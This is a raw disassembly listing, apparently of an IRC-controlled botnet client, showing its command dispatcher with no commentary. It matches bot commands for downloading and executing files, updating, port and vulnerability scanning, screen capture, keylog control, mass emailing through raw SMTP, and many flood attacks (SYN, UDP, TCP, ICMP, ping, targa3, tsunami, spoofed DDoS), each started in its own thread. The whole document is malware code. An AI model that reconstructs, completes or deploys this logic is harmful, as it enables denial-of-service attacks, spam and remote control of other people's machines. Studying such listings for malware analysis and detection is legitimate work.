jnz short loc_406313
push [ebp+Src]
push 5
call sub_41958E
pop ecx
pop ecx
push eax
push offset aS_5 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_406313: ; CODE XREF: sub_401CC7+4633j
push [ebp+Source] ; Str2
push offset aContinue ; "continue"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40633D
push [ebp+Src]
push 6
call sub_41958E
pop ecx
pop ecx
push eax
push offset aS_6 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_40633D: ; CODE XREF: sub_401CC7+465Dj
push [ebp+Source] ; Str2
push offset aDelete_0 ; "delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_406367
push [ebp+Src]
push 1
call sub_41958E
pop ecx
pop ecx
push eax
push offset aS_7 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_406367: ; CODE XREF: sub_401CC7+4687j
push [ebp+Source] ; Str2
push offset aShare ; "share"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4063E6
cmp edi, ebx
jz short loc_4063B9
cmp [ebp+var_8FC], bl
jz short loc_40639D
push ebx ; int
push edi ; Str
push 1 ; int
call sub_419965
add esp, 0Ch
push eax
push offset aS_8 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_40639D: ; CODE XREF: sub_401CC7+46BDj
push [ebp+esi+Str2] ; int
push edi ; Str
push ebx ; int
call sub_419965
add esp, 0Ch
push eax
push offset aS_9 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_4063B9: ; CODE XREF: sub_401CC7+46B5j
push ebx ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_419B5B
add esp, 10h
test eax, eax
jz short loc_4063DC
push offset unk_442274
jmp loc_408850
; ---------------------------------------------------------------------------
loc_4063DC: ; CODE XREF: sub_401CC7+4709j
push offset unk_442298
jmp loc_408850
; ---------------------------------------------------------------------------
loc_4063E6: ; CODE XREF: sub_401CC7+46B1j
push [ebp+Source] ; Str2
push offset aUser_0 ; "user"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40649D
cmp edi, ebx
jz short loc_406470
cmp [ebp+var_8FC], bl
jz short loc_40642C
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
push ebx
push edi
push 1
call sub_419C7C
add esp, 18h
push eax
push offset aS_10 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_40642C: ; CODE XREF: sub_401CC7+4740j
push [ebp+var_4]
mov esi, [ebp+esi+Str2]
cmp esi, ebx
push [ebp+Format]
push [ebp+arg_4]
jz short loc_406459
push esi
push edi
push ebx
call sub_419C7C
add esp, 18h
push eax
push offset aS_11 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_406459: ; CODE XREF: sub_401CC7+477Aj
push ebx
push edi
push 2
call sub_419C7C
add esp, 18h
push eax
push offset aS_12 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_406470: ; CODE XREF: sub_401CC7+4738j
push ebx ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_41A1AC
add esp, 10h
test eax, eax
jz short loc_406493
push offset unk_4422CC
jmp loc_408850
; ---------------------------------------------------------------------------
loc_406493: ; CODE XREF: sub_401CC7+47C0j
push offset unk_4422EC
jmp loc_408850
; ---------------------------------------------------------------------------
loc_40649D: ; CODE XREF: sub_401CC7+4730j
push [ebp+Source] ; Str2
push offset aSend_0 ; "send"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4064E0
cmp edi, ebx
jz short loc_4064D6
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
push [ebp+Src] ; Source
call sub_41A460
add esp, 10h
push eax
push offset aS_13 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_4064D6: ; CODE XREF: sub_401CC7+47EBj
push offset unk_442318
jmp loc_408850
; ---------------------------------------------------------------------------
loc_4064E0: ; CODE XREF: sub_401CC7+47E7j
push offset unk_44233C
jmp loc_408850
; ---------------------------------------------------------------------------
loc_4064EA: ; CODE XREF: sub_401CC7+4559j
push edi ; Str2
push offset aCapture ; "capture"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4090A0
push edi ; Str2
push offset aCap ; "cap"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4090A0
push edi ; Str2
push offset aGethost ; "gethost"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408FAC
push edi ; Str2
push offset aGh ; "gh"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408FAC
loc_40653E: ; CODE XREF: sub_401CC7+3CB7j
; sub_401CC7+3CE6j ...
mov edi, [ebp+esi+Format]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_402085
push [ebp+arg_8] ; Str2
push offset aKilllog ; "killlog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408F92
push [ebp+arg_8] ; Str2
push offset aKl ; "kl"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408F92
push [ebp+arg_8] ; Str2
push offset aAddalias ; "addalias"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408F4F
push [ebp+arg_8] ; Str2
push offset aAa ; "aa"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408F4F
push [ebp+arg_8] ; Str2
push offset aPrivmsg_1 ; "privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408EFA
push [ebp+arg_8] ; Str2
push offset aPm ; "pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408EFA
push [ebp+arg_8] ; Str2
push offset aAction ; "action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408E8D
push [ebp+arg_8] ; Str2
push offset aA ; "a"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408E8D
push [ebp+arg_8] ; Str2
push offset aCycle ; "cycle"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408E29
push [ebp+arg_8] ; Str2
push offset aCy ; "cy"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408E29
push [ebp+arg_8] ; Str2
push offset aMode_0 ; "mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408DED
push [ebp+arg_8] ; Str2
push offset aM ; "m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408DED
push [ebp+arg_8] ; Str2
push offset aC_raw ; "c_raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408D7E
push [ebp+arg_8] ; Str2
push offset aC_r ; "c_r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408D7E
push [ebp+arg_8] ; Str2
push offset aC_mode ; "c_mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408CF8
push [ebp+arg_8] ; Str2
push offset aC_m ; "c_m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408CF8
push [ebp+arg_8] ; Str2
push offset aC_nick ; "c_nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408C88
push [ebp+arg_8] ; Str2
push offset aC_n ; "c_n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408C88
push [ebp+arg_8] ; Str2
push offset aC_join ; "c_join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408C3A
push [ebp+arg_8] ; Str2
push offset aC_j ; "c_j"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408C3A
push [ebp+arg_8] ; Str2
push offset aC_part ; "c_part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408BD6
push [ebp+arg_8] ; Str2
push offset aC_p ; "c_p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408BD6
push [ebp+arg_8] ; Str2
push offset aTarga3 ; "targa3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B01
push [ebp+arg_8] ; Str2
push offset aT3 ; "t3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B01
push [ebp+arg_8] ; Str2
push offset aTsunami ; "tsunami"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408A06
push [ebp+arg_8] ; Str2
push offset aTsn ; "tsn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408A06
push [ebp+arg_8] ; Str2
push offset aRepeat ; "repeat"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408902
push [ebp+arg_8] ; Str2
push offset aRp ; "rp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408902
push [ebp+arg_8] ; Str2
push offset aDelay ; "delay"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408863
push [ebp+arg_8] ; Str2
push offset aDe ; "de"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408863
push [ebp+arg_8] ; Str2
push offset aUpdate ; "update"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4086D2
push [ebp+arg_8] ; Str2
push offset aUp_0 ; "up"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4086D2
push [ebp+arg_8] ; Str2
push offset aExecute ; "execute"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40863F
push [ebp+arg_8] ; Str2
push offset aE ; "e"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40863F
push [ebp+arg_8] ; Str2
push offset aFindfile ; "findfile"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408530
push [ebp+arg_8] ; Str2
push offset aFf ; "ff"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408530
push [ebp+arg_8] ; Str2
push offset aRename ; "rename"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4084B9
push [ebp+arg_8] ; Str2
push offset aMv ; "mv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4084B9
push [ebp+arg_8] ; Str2
push offset aIcmpflood ; "icmpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4083BC
push [ebp+arg_8] ; Str2
push offset aIcmp ; "icmp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4083BC
mov eax, [ebp+esi+Str2]
cmp eax, ebx
mov [ebp+Src], eax
jz loc_402085
push [ebp+arg_8] ; Str2
push offset aClone_0 ; "clone"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4082D4
push [ebp+arg_8] ; Str2
push offset aC ; "c"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4082D4
push [ebp+arg_8] ; Str2
push offset aDdos_syn ; "ddos.syn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4081DB
push [ebp+arg_8] ; Str2
push offset aDdos_ack ; "ddos.ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4081DB
push [ebp+arg_8] ; Str2
push offset aDdos_random ; "ddos.random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4081DB
push [ebp+arg_8] ; Str2
push offset aWisdom_udp ; "wisdom.udp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406A51
push 7Fh
lea eax, [ebp+var_327C]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_31FC]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_317C]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_30FC]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
push ebx ; int
lea eax, [ebp+Dst]
push 13h ; int
push eax ; Source
mov [ebp+var_3078], edi
mov [ebp+var_3280], esi
call sub_40B756
add esp, 3Ch
mov [ebp+var_307C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3280]
push ebx
push eax
push offset sub_41514F
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_307C]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_406A40
loc_406A2A: ; CODE XREF: sub_401CC7+4D77j
cmp [ebp+var_3070], ebx
jnz loc_403F8B
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_406A2A
; ---------------------------------------------------------------------------
loc_406A40: ; CODE XREF: sub_401CC7+4D61j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442D88
jmp loc_403F7C
; ---------------------------------------------------------------------------
loc_406A51: ; CODE XREF: sub_401CC7+4CB7j
push [ebp+arg_8] ; Str2
push offset aSynflood ; "synflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4080F3
push [ebp+arg_8] ; Str2
push offset aSyn ; "syn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4080F3
push [ebp+arg_8] ; Str2
push offset aSkysyn ; "skysyn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406B7E
push 7Fh
lea eax, [ebp+var_36A4]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3624]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_35A4]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3524]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A0], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_349C], eax
lea eax, [ebp+Dst]
push edi
mov [ebp+var_36A8], esi
push [ebp+Source]
push offset asc_442E48 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 10h ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_34A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A8]
push ebx
push eax
push offset sub_4140A7
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_34A4]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_406B6D
loc_406B57: ; CODE XREF: sub_401CC7+4EA4j
cmp [ebp+var_3498], ebx
jnz loc_4074F3
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_406B57
; ---------------------------------------------------------------------------
loc_406B6D: ; CODE XREF: sub_401CC7+4E8Ej
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_442E78
jmp loc_4074E4
; ---------------------------------------------------------------------------
loc_406B7E: ; CODE XREF: sub_401CC7+4DC9j
push [ebp+arg_8] ; Str2
push offset aPhatwonk ; "phatwonk"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40800B
push [ebp+arg_8] ; Str2
push offset aWonk ; "wonk"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40800B
push [ebp+arg_8] ; Str2
push offset aDownload ; "download"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407ECD
push [ebp+arg_8] ; Str2
push offset aDl ; "dl"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407ECD
push [ebp+arg_8] ; Str2
push offset aRedirect ; "redirect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407DD0
push [ebp+arg_8] ; Str2
push offset aRd ; "rd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407DD0
push [ebp+arg_8] ; Str2
push offset aScan_0 ; "scan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407CDD
push [ebp+arg_8] ; Str2
push offset aSc ; "sc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407CDD
push [ebp+arg_8] ; Str2
push offset aC_privmsg ; "c_privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407BD8
push [ebp+arg_8] ; Str2
push offset aC_pm ; "c_pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407BD8
push [ebp+arg_8] ; Str2
push offset aC_action ; "c_action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407AE0
push [ebp+arg_8] ; Str2
push offset aC_a ; "c_a"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407AE0
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_402085
push [ebp+arg_8] ; Str2
push offset aPortscan ; "portscan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4079DA
push [ebp+arg_8] ; Str2
push offset aPsc ; "psc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4079DA
push [ebp+arg_8] ; Str2
push offset aAdvscan ; "advscan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407513
push [ebp+arg_8] ; Str2
push offset aAsc ; "asc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407513
push [ebp+arg_8] ; Str2
push offset aUdpflood ; "udpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4073CA
push [ebp+arg_8] ; Str2
push offset aUdp ; "udp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4073CA
push [ebp+arg_8] ; Str2
push offset aU ; "u"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4073CA
push [ebp+arg_8] ; Str2
push offset aNetsend ; "netsend"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4072BC
push [ebp+arg_8] ; Str2
push offset aNs ; "ns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4072BC
push [ebp+arg_8] ; Str2
push offset aPingflood ; "pingflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407192
push [ebp+arg_8] ; Str2
push offset aPing_0 ; "ping"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407192
push [ebp+arg_8] ; Str2
push offset aP ; "p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407192
push [ebp+arg_8] ; Str2
push offset aTcpflood ; "tcpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406FE9
push [ebp+arg_8] ; Str2
push offset aTcp ; "tcp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406FE9
push [ebp+arg_8] ; Str2
push offset aEmail ; "email"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406F91
push [ebp+Source] ; Source
lea eax, [ebp+var_47EC]
push eax ; Dest
call _strcpy
push edi ; Str
call _atoi
push [ebp+Src] ; Source
mov [ebp+Source], eax
lea eax, [ebp+var_4188]
push eax ; Dest
call _strcpy
push [ebp+arg_18] ; Source
lea eax, [ebp+var_4588]
push eax ; Dest
call _strcpy
push offset asc_443650 ; " "
push offset a__1 ; "_"
push [ebp+esi+var_7C] ; Src
call sub_418C07
push eax ; Source
lea eax, [ebp+var_4288]
push eax ; Dest
call _strcpy
add esp, 30h
lea eax, [ebp+var_5588]
push eax
push 101h
call dword_4E3068 ; WSAStartup
lea eax, [ebp+var_47EC]
push eax
call dword_4E317C ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4E3178 ; socket
push [ebp+Source]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4E30F8 ; htons
mov [ebp+var_31A], ax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4588]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_5988]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax ; Dest
call _sprintf
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4E30A0 ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4E3110 ; recv
lea eax, [ebp+var_4088]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_5988]
push eax
push esi
call dword_4E3148 ; send
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4E3110 ; recv
push esi
call dword_4E3190 ; closesocket
call dword_4E3050 ; WSACleanup
lea eax, [ebp+var_4588]
push eax
push offset asc_4436A4 ; "-"
loc_406F4A: ; CODE XREF: sub_401CC7+2E73j
; sub_401CC7+45C7j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
loc_406F56: ; CODE XREF: sub_401CC7+247Cj
add esp, 0Ch
loc_406F59: ; CODE XREF: sub_401CC7+457Cj
; sub_401CC7+66D4j ...
cmp [ebp+var_8], ebx
jnz short loc_406F7A
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_406F7A: ; CODE XREF: sub_401CC7+29A3j
; sub_401CC7+29F6j ...
mov esi, [ebp+File]
loc_406F7D: ; CODE XREF: sub_401CC7+6973j
; sub_401CC7+7998j ...
lea eax, [ebp+Dst]
push eax
call sub_415C3F
pop ecx
mov eax, esi
jmp loc_402088
; ---------------------------------------------------------------------------
loc_406F91: ; CODE XREF: sub_401CC7+512Dj
push [ebp+arg_8] ; Str2
push offset aHttpcon ; "httpcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_406FBB
push [ebp+arg_8] ; Str2
push offset aHcon ; "hcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_407563
loc_406FBB: ; CODE XREF: sub_401CC7+52DBj
push [ebp+esi+var_7C] ; int
push [ebp+arg_18] ; int
push [ebp+Src] ; int
push edi ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+Source] ; int
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_410B5C
jmp loc_404295
; ---------------------------------------------------------------------------
loc_406FE9: ; CODE XREF: sub_401CC7+50FFj
; sub_401CC7+5116j
push [ebp+Source] ; Format
mov esi, 80h
lea eax, [ebp+var_1354]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_1354]
push eax ; Str2
push offset aSyn_0 ; "syn"
call _strcmp
add esp, 14h
test eax, eax
jz short loc_40704E
lea eax, [ebp+var_1354]
push eax ; Str2
push offset aAck ; "ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40704E
lea eax, [ebp+var_1354]
push eax ; Str2
push offset aRandom_0 ; "random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40704E
push offset unk_44361C
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_40704E: ; CODE XREF: sub_401CC7+534Dj
; sub_401CC7+5364j ...
push [ebp+arg_18] ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_124C], eax
jle loc_40717A
push [ebp+Source] ; Format
lea eax, [ebp+var_1354]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_13D4]
push edi ; Format
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+Src] ; Str
call _atoi
mov [ebp+var_1250], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+Format] ; Format
setnz al
mov [ebp+var_1248], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D8], eax
lea eax, [ebp+var_12D4]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_1248], ebx
mov [ebp+var_1244], eax
mov eax, [ebp+var_8]
mov [ebp+var_1240], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_4070EB
mov eax, offset aNormal ; "Normal"
loc_4070EB: ; CODE XREF: sub_401CC7+541Dj
push [ebp+arg_18]
push [ebp+Src]
push edi
push [ebp+Source]
push eax
push offset asc_443578 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 14h ; int
push eax ; Source
call sub_40B756
add esp, 2Ch
mov [ebp+var_1254], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D8]
push ebx
push eax
push offset sub_4148B6
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1254]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_407169
loc_407153: ; CODE XREF: sub_401CC7+54A0j
cmp [ebp+var_123C], ebx
jnz loc_408506
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_407153
; ---------------------------------------------------------------------------
loc_407169: ; CODE XREF: sub_401CC7+548Aj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4435AC
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_40717A: ; CODE XREF: sub_401CC7+5398j
push offset asc_4435E4 ; "-"
loc_40717F: ; CODE XREF: sub_401CC7+2009j
; sub_401CC7+201Fj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_408506
; ---------------------------------------------------------------------------
loc_407192: ; CODE XREF: sub_401CC7+50BAj
; sub_401CC7+50D1j ...
cmp dword_4E31E8, ebx
jnz loc_4072A1
mov eax, [ebp+var_8]
push 7Fh ; Count
push [ebp+Source] ; Source
mov [ebp+var_FF4], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF8], eax
lea eax, [ebp+var_108C]
push eax ; Dest
call _strncpy
push edi ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_100C], eax
call _atoi
push [ebp+arg_18] ; Str
mov [ebp+var_1008], eax
call _atoi
push 7Fh ; Count
mov [ebp+var_1004], eax
push [ebp+Format] ; Source
lea eax, [ebp+var_110C]
push eax ; Dest
call _strncpy
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1110], eax
lea eax, [ebp+var_108C]
push [ebp+var_1004]
push [ebp+var_1008]
push eax
lea eax, [ebp+Dst]
push [ebp+var_100C]
push offset asc_4434B0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 16h ; int
push eax ; Source
call sub_40B756
add esp, 24h
mov [ebp+var_FFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1110]
push ebx
push eax
push offset sub_413D05
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_FFC]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_407290
loc_40727A: ; CODE XREF: sub_401CC7+55C7j
cmp [ebp+var_FF0], ebx
jnz loc_408506
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_40727A
; ---------------------------------------------------------------------------
loc_407290: ; CODE XREF: sub_401CC7+55B1j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4434F8
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_4072A1: ; CODE XREF: sub_401CC7+54D1j
push 1FFh ; Count
lea eax, [ebp+Dst]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax ; Dest
call _strncpy
jmp loc_408503
; ---------------------------------------------------------------------------
loc_4072BC: ; CODE XREF: sub_401CC7+508Cj
; sub_401CC7+50A3j
push edi
lea eax, [ebp+Dst]
push [ebp+Source]
push [ebp+Src]
push offset asc_4433BC ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
push [ebp+Src] ; Str
call _strlen
mov edx, eax
push edi ; Str
mov edi, edx
call _strlen
push [ebp+Source] ; Str
add edi, eax
call _strlen
push [ebp+arg_8] ; Str
add edi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+arg_18] ; SubStr
lea eax, [eax+edi+7]
push eax ; Str
call _strstr
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+Src] ; Str
call _atoi
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_4073B6
loc_40733F: ; CODE XREF: sub_401CC7+569Cj
push [ebp+arg_C] ; int
push edi ; int
push [ebp+Source] ; Source
call sub_419471
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_407367
cmp eax, ebx
jnz short loc_407386
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_40733F
jmp short loc_4073BF
; ---------------------------------------------------------------------------
loc_407367: ; CODE XREF: sub_401CC7+568Dj
push ebx ; int
push [ebp+var_4] ; int
push offset unk_4433F8 ; int
loc_407370: ; CODE XREF: sub_401CC7+5701j
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
jmp loc_407563
; ---------------------------------------------------------------------------
loc_407386: ; CODE XREF: sub_401CC7+5691j
push [ebp+arg_1C]
lea eax, [ebp+Dst]
push offset asc_443430 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 20h
loc_4073B6: ; CODE XREF: sub_401CC7+5676j
cmp [ebp+arg_1C], ebx
jnz loc_407563
loc_4073BF: ; CODE XREF: sub_401CC7+569Ej
push ebx
push [ebp+var_4]
push offset unk_443464
jmp short loc_407370
; ---------------------------------------------------------------------------
loc_4073CA: ; CODE XREF: sub_401CC7+5047j
